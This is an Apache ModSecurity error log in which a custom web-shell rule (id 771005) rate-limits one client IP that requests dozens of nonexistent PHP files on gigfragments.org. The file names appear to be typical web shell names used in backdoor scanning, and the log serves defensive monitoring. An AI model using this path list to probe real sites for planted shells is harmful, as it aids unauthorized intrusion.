[Sun Jan 04 22:12:34.245242 2026] [:error] [pid 43583:tid 43610] [client 4.241.234.12:15602] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/o2.php"] [unique_id "aVp1UuZbrSRUiJ-RX9ZBeQAAAVU"]
[Sun Jan 04 22:12:35.049174 2026] [:error] [pid 29351:tid 29407] [client 4.241.234.12:15599] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/o2.php"] [unique_id "aVp1U5tGiMsRmNcKXvpG-AAAAtc"]
[Sun Jan 04 22:12:35.300641 2026] [:error] [pid 30985:tid 31021] [client 4.241.234.12:15592] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/o2.php"] [unique_id "aVp1U0isiM0XfzVcTWCz-AAAAcc"]
[Sun Jan 04 22:12:35.559842 2026] [:error] [pid 43583:tid 43590] [client 4.241.234.12:15512] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/new2.php"] [unique_id "aVp1U-ZbrSRUiJ-RX9ZBfAAAAUE"]
[Sun Jan 04 22:12:36.042384 2026] [:error] [pid 45950:tid 45993] [client 4.241.234.12:15590] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/new2.php"] [unique_id "aVp1VFx-3HUGZIlAI-5RZwAAA4s"]
[Sun Jan 04 22:12:36.379742 2026] [:error] [pid 42666:tid 42705] [client 4.241.234.12:17524] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/new2.php"] [unique_id "aVp1VPc221c7vwWrOjcUqAAAAwg"]
[Sun Jan 04 22:12:36.839173 2026] [:error] [pid 45950:tid 45984] [client 4.241.234.12:15611] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/new2.php"] [unique_id "aVp1VFx-3HUGZIlAI-5RaAAAA4I"]
[Sun Jan 04 22:12:37.099910 2026] [:error] [pid 42665:tid 42675] [client 4.241.234.12:17461] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nae.php"] [unique_id "aVp1VRRwYwWkN__L8BWVGQAAAoY"]
[Sun Jan 04 22:12:37.495407 2026] [:error] [pid 45950:tid 45997] [client 4.241.234.12:15583] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nae.php"] [unique_id "aVp1VVx-3HUGZIlAI-5RagAAA48"]
[Sun Jan 04 22:12:37.818098 2026] [:error] [pid 45950:tid 45994] [client 4.241.234.12:15584] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nae.php"] [unique_id "aVp1VVx-3HUGZIlAI-5RawAAA4w"]
[Sun Jan 04 22:12:38.174266 2026] [:error] [pid 45863:tid 45879] [client 4.241.234.12:15533] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nae.php"] [unique_id "aVp1VlGr1mgeue1bWvTXxQAAAA4"]
[Sun Jan 04 22:12:38.665472 2026] [:error] [pid 43467:tid 43477] [client 4.241.234.12:17509] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/eru.php"] [unique_id "aVp1VinfieJppNajUV1SjwAAAIg"]
[Sun Jan 04 22:12:38.936497 2026] [:error] [pid 43467:tid 43489] [client 4.241.234.12:17456] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/eru.php"] [unique_id "aVp1VinfieJppNajUV1SkAAAAJQ"]
[Sun Jan 04 22:12:39.545564 2026] [:error] [pid 43583:tid 43600] [client 4.241.234.12:17462] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/eru.php"] [unique_id "aVp1V-ZbrSRUiJ-RX9ZBgAAAAUs"]
[Sun Jan 04 22:12:39.864407 2026] [:error] [pid 37165:tid 37218] [client 4.241.234.12:17490] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/eru.php"] [unique_id "aVp1V1wRLzfe8wOrQpRjLwAAAlM"]
[Sun Jan 04 22:12:40.151246 2026] [:error] [pid 45949:tid 45978] [client 4.241.234.12:15545] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/JPG.php"] [unique_id "aVp1WKWUhIYCdxgkhpBPhgAAAhg"]
[Sun Jan 04 22:12:40.471021 2026] [:error] [pid 42665:tid 42676] [client 4.241.234.12:17468] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/JPG.php"] [unique_id "aVp1WBRwYwWkN__L8BWVHAAAAoc"]
[Sun Jan 04 22:12:40.811288 2026] [:error] [pid 43467:tid 43484] [client 4.241.234.12:17484] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/JPG.php"] [unique_id "aVp1WCnfieJppNajUV1SlAAAAI8"]
[Sun Jan 04 22:12:41.175091 2026] [:error] [pid 45949:tid 45955] [client 4.241.234.12:15557] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/JPG.php"] [unique_id "aVp1WaWUhIYCdxgkhpBPhwAAAgE"]
[Sun Jan 04 22:12:41.701079 2026] [:error] [pid 43583:tid 43599] [client 4.241.234.12:17415] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsz.php"] [unique_id "aVp1WeZbrSRUiJ-RX9ZBiAAAAUo"]
[Sun Jan 04 22:12:41.958587 2026] [:error] [pid 29351:tid 29395] [client 4.241.234.12:15576] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsz.php"] [unique_id "aVp1WZtGiMsRmNcKXvpG_gAAAss"]
[Sun Jan 04 22:12:42.244194 2026] [:error] [pid 30985:tid 31014] [client 4.241.234.12:15593] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsz.php"] [unique_id "aVp1WkisiM0XfzVcTWCz_gAAAcA"]
[Sun Jan 04 22:12:42.543664 2026] [:error] [pid 45949:tid 45963] [client 4.241.234.12:17519] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsz.php"] [unique_id "aVp1WqWUhIYCdxgkhpBPiAAAAgk"]
[Sun Jan 04 22:12:42.813649 2026] [:error] [pid 37165:tid 37215] [client 4.241.234.12:15614] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lok.php"] [unique_id "aVp1WlwRLzfe8wOrQpRjMwAAAlA"]
[Sun Jan 04 22:12:43.093280 2026] [:error] [pid 45863:tid 45871] [client 4.241.234.12:17480] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lok.php"] [unique_id "aVp1W1Gr1mgeue1bWvTXzgAAAAY"]
[Sun Jan 04 22:12:43.334174 2026] [:error] [pid 29351:tid 29387] [client 4.241.234.12:15577] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lok.php"] [unique_id "aVp1W5tGiMsRmNcKXvpHAgAAAsM"]
[Sun Jan 04 22:12:43.571942 2026] [:error] [pid 45863:tid 45880] [client 4.241.234.12:15499] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lok.php"] [unique_id "aVp1W1Gr1mgeue1bWvTXzwAAAA8"]
[Sun Jan 04 22:12:43.829454 2026] [:error] [pid 29351:tid 29394] [client 4.241.234.12:15595] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wan.php"] [unique_id "aVp1W5tGiMsRmNcKXvpHAwAAAso"]
[Sun Jan 04 22:12:44.072477 2026] [:error] [pid 30985:tid 31031] [client 4.241.234.12:15574] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wan.php"] [unique_id "aVp1XEisiM0XfzVcTWC0AAAAAdE"]
[Sun Jan 04 22:12:44.412926 2026] [:error] [pid 29351:tid 29402] [client 4.241.234.12:15586] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wan.php"] [unique_id "aVp1XJtGiMsRmNcKXvpHBQAAAtI"]
[Sun Jan 04 22:12:44.702798 2026] [:error] [pid 42665:tid 42671] [client 4.241.234.12:17418] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wan.php"] [unique_id "aVp1XBRwYwWkN__L8BWVIwAAAoI"]
[Sun Jan 04 22:12:44.973097 2026] [:error] [pid 30985:tid 31037] [client 4.241.234.12:17518] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dds.php"] [unique_id "aVp1XEisiM0XfzVcTWC0AgAAAdc"]
[Sun Jan 04 22:12:59.949886 2026] [:error] [pid 42665:tid 42679] [client 4.241.234.12:15539] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-db.php"] [unique_id "aVp1axRwYwWkN__L8BWVOQAAAoo"]
[Sun Jan 04 22:13:00.322188 2026] [:error] [pid 37165:tid 37223] [client 4.241.234.12:17510] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-db.php"] [unique_id "aVp1bFwRLzfe8wOrQpRjRAAAAlg"]
[Sun Jan 04 22:13:00.562247 2026] [:error] [pid 37165:tid 37220] [client 4.241.234.12:15552] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-db.php"] [unique_id "aVp1bFwRLzfe8wOrQpRjRQAAAlU"]
[Sun Jan 04 22:13:00.819298 2026] [:error] [pid 37165:tid 37201] [client 4.241.234.12:17454] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-db.php"] [unique_id "aVp1bFwRLzfe8wOrQpRjRgAAAkI"]
[Sun Jan 04 22:13:01.084248 2026] [:error] [pid 42665:tid 42677] [client 4.241.234.12:15450] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/set.php"] [unique_id "aVp1bRRwYwWkN__L8BWVOwAAAog"]
[Sun Jan 04 22:13:01.354593 2026] [:error] [pid 45950:tid 45985] [client 4.241.234.12:15487] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/set.php"] [unique_id "aVp1bVx-3HUGZIlAI-5RewAAA4M"]
[Sun Jan 04 22:13:01.652021 2026] [:error] [pid 45863:tid 45884] [client 4.241.234.12:15509] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/set.php"] [unique_id "aVp1bVGr1mgeue1bWvTX3wAAABM"]
[Sun Jan 04 22:13:01.911502 2026] [:error] [pid 45863:tid 45886] [client 4.241.234.12:15556] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/set.php"] [unique_id "aVp1bVGr1mgeue1bWvTX4AAAABU"]
[Sun Jan 04 22:13:02.198538 2026] [:error] [pid 42666:tid 42705] [client 4.241.234.12:15489] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gmo.php"] [unique_id "aVp1bvc221c7vwWrOjcUswAAAwg"]
[Sun Jan 04 22:13:02.449525 2026] [:error] [pid 29351:tid 29392] [client 4.241.234.12:15553] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gmo.php"] [unique_id "aVp1bptGiMsRmNcKXvpHIQAAAsg"]
[Sun Jan 04 22:13:02.758813 2026] [:error] [pid 42666:tid 42702] [client 4.241.234.12:15536] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gmo.php"] [unique_id "aVp1bvc221c7vwWrOjcUtAAAAwU"]
[Sun Jan 04 22:13:03.012233 2026] [:error] [pid 42666:tid 42718] [client 4.241.234.12:15515] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gmo.php"] [unique_id "aVp1b_c221c7vwWrOjcUtgAAAxU"]
[Sun Jan 04 22:13:03.489256 2026] [:error] [pid 42666:tid 42707] [client 4.241.234.12:17508] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dox.php"] [unique_id "aVp1b_c221c7vwWrOjcUuQAAAwo"]
[Sun Jan 04 22:13:03.748832 2026] [:error] [pid 29351:tid 29386] [client 4.241.234.12:15582] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dox.php"] [unique_id "aVp1b5tGiMsRmNcKXvpHIwAAAsI"]
[Sun Jan 04 22:13:04.010863 2026] [:error] [pid 43583:tid 43601] [client 4.241.234.12:15434] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dox.php"] [unique_id "aVp1cOZbrSRUiJ-RX9ZBtwAAAUw"]
[Sun Jan 04 22:13:04.276444 2026] [:error] [pid 42665:tid 42691] [client 4.241.234.12:15492] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dox.php"] [unique_id "aVp1cBRwYwWkN__L8BWVPgAAApY"]
[Sun Jan 04 22:13:04.507332 2026] [:error] [pid 30985:tid 31027] [client 4.241.234.12:17443] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/155.php"] [unique_id "aVp1cEisiM0XfzVcTWC0EAAAAc0"]
[Sun Jan 04 22:13:04.777206 2026] [:error] [pid 42666:tid 42715] [client 4.241.234.12:15560] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/155.php"] [unique_id "aVp1cPc221c7vwWrOjcUvAAAAxI"]
[Sun Jan 04 22:13:05.046986 2026] [:error] [pid 30985:tid 31022] [client 4.241.234.12:15587] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/155.php"] [unique_id "aVp1cUisiM0XfzVcTWC0EgAAAcg"]
[Sun Jan 04 22:13:05.333647 2026] [:error] [pid 30985:tid 31034] [client 4.241.234.12:15542] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/155.php"] [unique_id "aVp1cUisiM0XfzVcTWC0FAAAAdQ"]
[Sun Jan 04 22:13:05.577267 2026] [:error] [pid 30985:tid 31028] [client 4.241.234.12:15596] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zil.php"] [unique_id "aVp1cUisiM0XfzVcTWC0FQAAAc4"]
[Sun Jan 04 22:13:05.882645 2026] [:error] [pid 30985:tid 31024] [client 4.241.234.12:17475] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zil.php"] [unique_id "aVp1cUisiM0XfzVcTWC0FgAAAco"]
[Sun Jan 04 22:13:06.170185 2026] [:error] [pid 43467:tid 43486] [client 4.241.234.12:15498] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zil.php"] [unique_id "aVp1cinfieJppNajUV1SmAAAAJE"]
[Sun Jan 04 22:13:06.930408 2026] [:error] [pid 30985:tid 31021] [client 4.241.234.12:17522] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zil.php"] [unique_id "aVp1ckisiM0XfzVcTWC0LQAAAcc"]
[Sun Jan 04 22:13:07.818370 2026] [:error] [pid 48666:tid 48672] [client 4.241.234.12:15550] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/l.php"] [unique_id "aVp1c3Dvbl8VApRiToEYwwAAAMI"]
